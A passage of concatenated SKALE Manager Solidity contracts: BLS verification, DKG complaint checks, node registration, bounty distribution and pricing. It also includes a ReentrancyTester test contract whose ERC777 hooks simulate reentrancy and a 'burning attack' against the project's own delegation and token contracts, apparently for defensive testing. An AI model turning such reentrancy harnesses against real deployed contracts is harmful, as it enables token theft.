(pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1]));
bytes32 key = bytes32(pkX);
// Decrypt secret key contribution
uint secret = Decryption(contractManager.getContract("Decryption")).decrypt(
complaints[schainHash].keyShare,
sha256(abi.encodePacked(key))
);
badNode = (
_checkCorrectMultipliedShare(multipliedShare, secret) &&
multipliedShare.isEqual(complaints[schainHash].sumOfVerVec) ?
complaints[schainHash].fromNodeToComplaint :
complaints[schainHash].nodeToComplaint
);
SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainHash, badNode);
}
function _checkCorrectMultipliedShare(
G2Operations.G2Point memory multipliedShare,
uint secret
)
private
view
returns (bool)
{
if (!multipliedShare.isG2()) {
return false;
}
G2Operations.G2Point memory tmp = multipliedShare;
Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator();
Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({
a: 0,
b: 0
});
(share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret);
require(G1Operations.checkRange(share), "share is not valid");
share.b = G1Operations.negate(share.b);
require(G1Operations.isG1(share), "mulShare not in G1");
G2Operations.G2Point memory g2 = G2Operations.getG2Generator();
return Precompiled.bn256Pairing(
share.a, share.b,
g2.x.b, g2.x.a, g2.y.b, g2.y.a,
g1.a, g1.b,
tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchains.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchains {
function verifySchainSignature(
uint256 signA,
uint256 signB,
bytes32 hash,
uint256 counter,
uint256 hashA,
uint256 hashB,
string calldata schainName
)
external
view
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleVerifier.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
/**
* @title SkaleVerifier
* @dev Contains verify function to perform BLS signature verification.
*/
contract SkaleVerifier is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
/**
* @dev Verifies a BLS signature.
*
* Requirements:
*
* - Signature is in G1.
* - Hash is in G1.
* - G2.one in G2.
* - Public Key in G2.
*/
function verify(
Fp2Operations.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
G2Operations.G2Point calldata publicKey
)
external
view
returns (bool)
{
require(G1Operations.checkRange(signature), "Signature is not valid");
if (!_checkHashToGroupWithHelper(
hash,
counter,
hashA,
hashB
)
)
{
return false;
}
uint newSignB = G1Operations.negate(signature.b);
require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1");
require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1");
G2Operations.G2Point memory g2 = G2Operations.getG2Generator();
require(
G2Operations.isG2(publicKey),
"Public Key not in G2"
);
return Precompiled.bn256Pairing(
signature.a, newSignB,
g2.x.b, g2.x.a, g2.y.b, g2.y.a,
hashA, hashB,
publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
function _checkHashToGroupWithHelper(
bytes32 hash,
uint counter,
uint hashA,
uint hashB
)
private
pure
returns (bool)
{
if (counter > 100) {
return false;
}
uint xCoord = uint(hash) % Fp2Operations.P;
xCoord = (xCoord.add(counter)) % Fp2Operations.P;
uint ySquared = addmod(
mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P),
3,
Fp2Operations.P
);
if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) {
return false;
}
return true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchainsInternal - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchainsInternal {
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool);
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Decryption.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @title Decryption
* @dev This contract performs encryption and decryption functions.
* Decrypt is used by SkaleDKG contract to decrypt secret key contribution to
* validate complaints during the DKG procedure.
*/
contract Decryption {
/**
* @dev Returns an encrypted text given a secret and a key.
*/
function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) {
return bytes32(secretNumber) ^ key;
}
/**
* @dev Returns a secret given an encrypted text and a key.
*/
function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) {
return uint256(ciphertext ^ key);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IWallets - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IWallets {
function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external;
function rechargeSchainWallet(bytes32 schainId) external payable;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
PartialDifferencesTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../delegation/PartialDifferences.sol";
contract PartialDifferencesTester {
using PartialDifferences for PartialDifferences.Sequence;
using PartialDifferences for PartialDifferences.Value;
using SafeMath for uint;
PartialDifferences.Sequence[] private _sequences;
// PartialDifferences.Value[] private _values;
function createSequence() external {
_sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0}));
}
function addToSequence(uint sequence, uint diff, uint month) external {
require(sequence < _sequences.length, "Sequence does not exist");
_sequences[sequence].addToSequence(diff, month);
}
function subtractFromSequence(uint sequence, uint diff, uint month) external {
require(sequence < _sequences.length, "Sequence does not exist");
_sequences[sequence].subtractFromSequence(diff, month);
}
function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) {
require(sequence < _sequences.length, "Sequence does not exist");
return _sequences[sequence].getAndUpdateValueInSequence(month);
}
function reduceSequence(
uint sequence,
uint a,
uint b,
uint month) external
{
require(sequence < _sequences.length, "Sequence does not exist");
FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b);
return _sequences[sequence].reduceSequence(reducingCoefficient, month);
}
function latestSequence() external view returns (uint id) {
require(_sequences.length > 0, "There are no _sequences");
return _sequences.length.sub(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ReentrancyTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../Permissions.sol";
import "../delegation/DelegationController.sol";
contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender {
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bool private _reentrancyCheck = false;
bool private _burningAttack = false;
uint private _amount = 0;
constructor (address contractManagerAddress) public {
Permissions.initialize(contractManagerAddress);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
}
function tokensReceived(
address /* operator */,
address /* from */,
address /* to */,
uint256 amount,
bytes calldata /* userData */,
bytes calldata /* operatorData */
)
external override
{
if (_reentrancyCheck) {
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
require(
skaleToken.transfer(contractManager.getContract("SkaleToken"), amount),
"Transfer is not successful");
}
}
function tokensToSend(
address, // operator
address, // from
address, // to
uint256, // amount
bytes calldata, // userData
bytes calldata // operatorData
) external override
{
if (_burningAttack) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
delegationController.delegate(
1,
_amount,
2,
"D2 is even");
}
}
function prepareToReentracyCheck() external {
_reentrancyCheck = true;
}
function prepareToBurningAttack() external {
_burningAttack = true;
}
function burningAttack() external {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
_amount = skaleToken.balanceOf(address(this));
skaleToken.burn(_amount, "");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "./delegation/Distributor.sol";
import "./delegation/ValidatorService.sol";
import "./interfaces/IMintableToken.sol";
import "./BountyV2.sol";
import "./ConstantsHolder.sol";
import "./NodeRotation.sol";
import "./Permissions.sol";
import "./Schains.sol";
import "./Wallets.sol";
/**
* @title SkaleManager
* @dev Contract contains functions for node registration and exit, bounty
* management, and monitoring verdicts.
*/
contract SkaleManager is IERC777Recipient, Permissions {
IERC1820Registry private _erc1820;
bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE");
string public version;
bytes32 public constant SCHAIN_DELETER_ROLE = keccak256("SCHAIN_DELETER_ROLE");
/**
* @dev Emitted when bounty is received.
*/
event BountyReceived(
uint indexed nodeIndex,
address owner,
uint averageDowntime,
uint averageLatency,
uint bounty,
uint previousBlockEvent,
uint time,
uint gasSpend
);
function tokensReceived(
address, // operator
address from,
address to,
uint256 value,
bytes calldata userData,
bytes calldata // operator data
)
external override
allow("SkaleToken")
{
require(to == address(this), "Receiver is incorrect");
if (userData.length > 0) {
Schains schains = Schains(
contractManager.getContract("Schains"));
schains.addSchain(from, value, userData);
}
}
function createNode(
uint16 port,
uint16 nonce,
bytes4 ip,
bytes4 publicIp,
bytes32[2] calldata publicKey,
string calldata name,
string calldata domainName
)
external
{
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
// validators checks inside checkPossibilityCreatingNode
nodes.checkPossibilityCreatingNode(msg.sender);
Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({
name: name,
ip: ip,
publicIp: publicIp,
port: port,
publicKey: publicKey,
nonce: nonce,
domainName: domainName
});
nodes.createNode(msg.sender, params);
}
function nodeExit(uint nodeIndex) external {
uint gasTotal = gasleft();
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint validatorId = nodes.getValidatorId(nodeIndex);
bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex));
if (!permitted && validatorService.validatorAddressExists(msg.sender)) {
permitted = validatorService.getValidatorId(msg.sender) == validatorId;
}
require(permitted, "Sender is not permitted to call this function");
nodeRotation.freezeSchains(nodeIndex);
if (nodes.isNodeActive(nodeIndex)) {
require(nodes.initExit(nodeIndex), "Initialization of node exit is failed");
}
require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving");
(bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex);
if (completed) {
SchainsInternal(
contractManager.getContract("SchainsInternal")
).removeNodeFromAllExceptionSchains(nodeIndex);
require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed");
nodes.changeNodeFinishTime(
nodeIndex,
now.add(
isSchains ?
ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() :
0
)
);
nodes.deleteNodeForValidator(validatorId, nodeIndex);
}
_refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft());
}
function deleteSchain(string calldata name) external {
Schains schains = Schains(contractManager.getContract("Schains"));
// schain owner checks inside deleteSchain
schains.deleteSchain(msg.sender, name);
}
function deleteSchainByRoot(string calldata name) external {
require(hasRole(SCHAIN_DELETER_ROLE, msg.sender), "SCHAIN_DELETER_ROLE is required");
Schains schains = Schains(contractManager.getContract("Schains"));
schains.deleteSchainByRoot(name);
}
function getBounty(uint nodeIndex) external {
uint gasTotal = gasleft();
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender");
require(nodes.isTimeForReward(nodeIndex), "Not time for bounty");
require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state");
require(!nodes.incompliant(nodeIndex), "The node is incompliant");
BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty"));
uint bounty = bountyContract.calculateBounty(nodeIndex);
nodes.changeNodeLastRewardDate(nodeIndex);
uint validatorId = nodes.getValidatorId(nodeIndex);
if (bounty > 0) {
_payBounty(bounty, validatorId);
}
emit BountyReceived(
nodeIndex,
msg.sender,
0,
0,
bounty,
uint(-1),
block.timestamp,
gasleft());
_refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft());
}
function setVersion(string calldata newVersion) external onlyOwner {
version = newVersion;
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
_erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function _payBounty(uint bounty, uint validatorId) private returns (bool) {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
Distributor distributor = Distributor(contractManager.getContract("Distributor"));
require(
IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""),
"Token was not minted"
);
}
function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private {
uint gasCostOfRefundGasByValidator = 29000;
Wallets(payable(contractManager.getContract("Wallets")))
.refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Distributor.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
import "../Permissions.sol";
import "../ConstantsHolder.sol";
import "../utils/MathUtils.sol";
import "./ValidatorService.sol";
import "./DelegationController.sol";
import "./DelegationPeriodManager.sol";
import "./TimeHelpers.sol";
/**
* @title Distributor
* @dev This contract handles all distribution functions of bounty and fee
* payments.
*/
contract Distributor is Permissions, IERC777Recipient {
using MathUtils for uint;
/**
* @dev Emitted when bounty is withdrawn.
*/
event WithdrawBounty(
address holder,
uint validatorId,
address destination,
uint amount
);
/**
* @dev Emitted when a validator fee is withdrawn.
*/
event WithdrawFee(
uint validatorId,
address destination,
uint amount
);
/**
* @dev Emitted when bounty is distributed.
*/
event BountyWasPaid(
uint validatorId,
uint amount
);
IERC1820Registry private _erc1820;
// validatorId => month => token
mapping (uint => mapping (uint => uint)) private _bountyPaid;
// validatorId => month => token
mapping (uint => mapping (uint => uint)) private _feePaid;
// holder => validatorId => month
mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth;
// validatorId => month
mapping (uint => uint) private _firstUnwithdrawnMonthForValidator;
/**
* @dev Return and update the amount of earned bounty from a validator.
*/
function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) {
return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId);
}
/**
* @dev Allows msg.sender to withdraw earned bounty. Bounties are locked
* until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed.
*
* Emits a {WithdrawBounty} event.
*
* Requirements:
*
* - Bounty must be unlocked.
*/
function withdrawBounty(uint validatorId, address to) external {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now >= timeHelpers.addMonths(
constantsHolder.launchTimestamp(),
constantsHolder.BOUNTY_LOCKUP_MONTHS()
), "Bounty is locked");
uint bounty;
uint endMonth;
(bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId);
_firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth;
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
require(skaleToken.transfer(to, bounty), "Failed to transfer tokens");
emit WithdrawBounty(
msg.sender,
validatorId,
to,
bounty
);
}
/**
* @dev Allows `msg.sender` to withdraw earned validator fees. Fees are
* locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed.
*
* Emits a {WithdrawFee} event.
*
* Requirements:
*
* - Fee must be unlocked.
*/
function withdrawFee(address to) external {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now >= timeHelpers.addMonths(
constantsHolder.launchTimestamp(),
constantsHolder.BOUNTY_LOCKUP_MONTHS()
), "Fee is locked");
// check Validator Exist inside getValidatorId
uint validatorId = validatorService.getValidatorId(msg.sender);
uint fee;
uint endMonth;
(fee, endMonth) = getEarnedFeeAmountOf(validatorId);
_firstUnwithdrawnMonthForValidator[validatorId] = endMonth;
require(skaleToken.transfer(to, fee), "Failed to transfer tokens");
emit WithdrawFee(
validatorId,
to,
fee
);
}
function tokensReceived(
address,
address,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata
)
external override
allow("SkaleToken")
{
require(to == address(this), "Receiver is incorrect");
require(userData.length == 32, "Data length is incorrect");
uint validatorId = abi.decode(userData, (uint));
_distributeBounty(amount, validatorId);
}
/**
* @dev Return the amount of earned validator fees of `msg.sender`.
*/
function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender));
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
_erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
/**
* @dev Return and update the amount of earned bounties.
*/
function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId)
public returns (uint earned, uint endMonth)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId];
if (startMonth == 0) {
startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId);
if (startMonth == 0) {
return (0, 0);
}
}
earned = 0;
endMonth = currentMonth;
if (endMonth > startMonth.add(12)) {
endMonth = startMonth.add(12);
}
for (uint i = startMonth; i < endMonth; ++i) {
uint effectiveDelegatedToValidator =
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i);
if (effectiveDelegatedToValidator.muchGreater(0)) {
earned = earned.add(
_bountyPaid[validatorId][i].mul(
delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i))
.div(effectiveDelegatedToValidator)
);
}
}
}
/**
* @dev Return the amount of earned fees by validator ID.
*/
function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId];
if (startMonth == 0) {
return (0, 0);
}
earned = 0;
endMonth = currentMonth;
if (endMonth > startMonth.add(12)) {
endMonth = startMonth.add(12);
}
for (uint i = startMonth; i < endMonth; ++i) {
earned = earned.add(_feePaid[validatorId][i]);
}
}
// private
/**
* @dev Distributes bounties to delegators.
*
* Emits a {BountyWasPaid} event.
*/
function _distributeBounty(uint amount, uint validatorId) private {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint feeRate = validatorService.getValidator(validatorId).feeRate;
uint fee = amount.mul(feeRate).div(1000);
uint bounty = amount.sub(fee);
_bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty);
_feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee);
if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) {
_firstUnwithdrawnMonthForValidator[validatorId] = currentMonth;
}
emit BountyWasPaid(validatorId, amount);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDKGTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
contract SkaleDKGTester is SkaleDKG {
function setSuccessfulDKGPublic(bytes32 schainHash) external {
lastSuccessfulDKG[schainHash] = now;
channels[schainHash].active = false;
KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainHash);
emit SuccessfulDKG(schainHash);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Pricing.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./Nodes.sol";
/**
* @title Pricing
* @dev Contains pricing operations for SKALE network.
*/
contract Pricing is Permissions {
uint public constant INITIAL_PRICE = 5 * 10**6;
uint public price;
uint public totalNodes;
uint public lastUpdated;
function initNodes() external {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
totalNodes = nodes.getNumberOnlineNodes();
}
/**
* @dev Adjust the schain price based on network capacity and demand.
*
* Requirements:
*
* - Cooldown time has exceeded.
*/
function adjustPrice() external {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price");
checkAllNodes();
uint load = _getTotalLoad();
uint capacity = _getTotalCapacity();
bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity);
uint loadDiff;
if (networkIsOverloaded) {
loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity));
} else {
loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100));
}
uint priceChangeSpeedMultipliedByCapacityAndMinPrice =
constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price);
uint timeSkipped = now.sub(lastUpdated);
uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice
.mul(timeSkipped)
.div(constantsHolder.COOLDOWN_TIME())
.div(capacity)
.div(constantsHolder.MIN_PRICE());
if (networkIsOverloaded) {
assert(priceChange > 0);
price = price.add(priceChange);
} else {
if (priceChange > price) {
price = constantsHolder.MIN_PRICE();
} else {
price = price.sub(priceChange);
if (price < constantsHolder.MIN_PRICE()) {
price = constantsHolder.MIN_PRICE();
}
}
}
lastUpdated = now;
}
/**
* @dev Returns the total load percentage.
*/
function getTotalLoadPercentage() external view returns (uint) {
return _getTotalLoad().mul(100).div(_getTotalCapacity());
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
lastUpdated = now;
price = INITIAL_PRICE;
}
function checkAllNodes() public {
